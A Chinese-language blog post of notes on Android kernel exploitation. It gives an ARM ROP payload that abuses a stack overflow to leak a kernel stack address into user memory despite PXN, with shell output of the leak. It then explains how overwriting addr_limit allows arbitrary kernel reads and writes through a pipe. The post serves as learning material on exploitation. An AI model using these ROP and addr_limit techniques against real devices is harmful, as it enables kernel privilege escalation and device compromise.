从0开始学Linux内核之android内核ROP利用小记

本文记一些利用方法

利用ROP泄露栈地址

之前说过,thread_info结构体储存在栈中,那么怎么获取栈地址呢?这里讲一种方法。

PXN保护的全称是PrivilegedExecute-Never,作用是内核态不能执行用户态的代码,也就是取消了用户代码段的可执行权限,但是仍然可读可写,我们可以利用ROP,把栈地址写入用户空间内,然后在用户空间读取该值,这里拿上一篇文章中栈溢出的进行举例,payload如下:

PS: 不过有个保护叫PAN(Privileged Access Never),可以去掉内核对用户态代码的读写权限,不过暂时没遇到,暂不做讨论

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int trigger_vuln(int fd)
{

#define MAX_PAYLOAD (MAX + 2 * sizeof(void*) + 0x68)
void *map_addr_tmp= mmap((void*) 0x30303000, 0x10000,
PROT_WRITE|PROT_READ|PROT_EXEC,
MAP_SHARED|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
memset(map_addr_tmp, 'D', 0x10000);
char buf[MAX_PAYLOAD];
int i;

memset(buf, 'B', sizeof(buf));
int * pc = buf + MAX;
*pc++ = 0xc00aeb44; // r4
*pc++ = 0xc003e1a4; // ; mov r0, sp; blx r4;
*pc++ = 0x30303000; // r4
*pc++ = 0xc00aeb40; // ; str r0, [r4]; pop {r4, pc};
*pc++ = 0xc0071818; // r4
*pc++ = 0xc010c074; // ; pop {r4, pc};
*pc++ = 0xc0071818; // r4
*pc++ = 0xc000f804; // ; add sp, sp, #0x48; pop {r4, pc};
*pc++ = 0xc000e0b0; // r4 (ret_fast_syscall)
for (i=0; i < 19; i++) {
*pc++ = 0xc000e0b0;
}
printf("%p\n", *(int *)map_addr_tmp);
write(fd, buf, sizeof(buf) );
printf("%p\n", *(int *)map_addr_tmp);
return *(int *)map_addr_tmp;
}
--------------------------------shell-----------------------------
$ /data/local/tmp/wsp_test
0x44444444
0xc2031f40

通过修改addr_limit实现kernel任意读写

说到任意读写,我第一个想到的方法是:

1
2
3
int address;
scanf("%d", &address);
printf("%p\n", (int *)address);

然后在手工通过gdb把addr_limit修改成0xffffffff,但是却没有实现内核的任意读写。后面发现,我是进入了一个误区,该方法相当于使用了汇编指令:MOV result, [address],由CPU来控制该地址是否可读,所以在用户态是无法读取内核数据的,另外二进制程序现在都是虚拟地址,内核数据并没有被映射到二进制的虚拟地址中。

那么addr_limit字段的作用是什么呢?虽然用户态无法读取内核数据,但是内核态是可以读取任意地址的数据的,所以addr_limit是用来限制内核态中的读取。比如下面代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
int address;
int pipefd[2];

int res = pipe(pipefd);
if (res < 0) {
printf("err %d\n", res);
}
scanf("%d", &address);
int len = write(pipefd[1], address, 4);
printf("read %p len: %d\n", address, len);
char result[4];
read(pipefd[0], result, 4);
printf("result: %p\n", result);

pipe使用的是系统调用sys_pipe,是在内核中进行读写操作,通过addr_limit来判断相应地址是否可读,默认情况下addr_limit=0xbf000000,正常程序只能读取地址小于该值的地址上的数据。如果我们把该值修改成0xffffffff,那么我们就能利用pipe进行内核任意地址的读写操作。

文章目录
  1. 1. 利用ROP泄露栈地址
  2. 2. 通过修改addr_limit实现kernel任意读写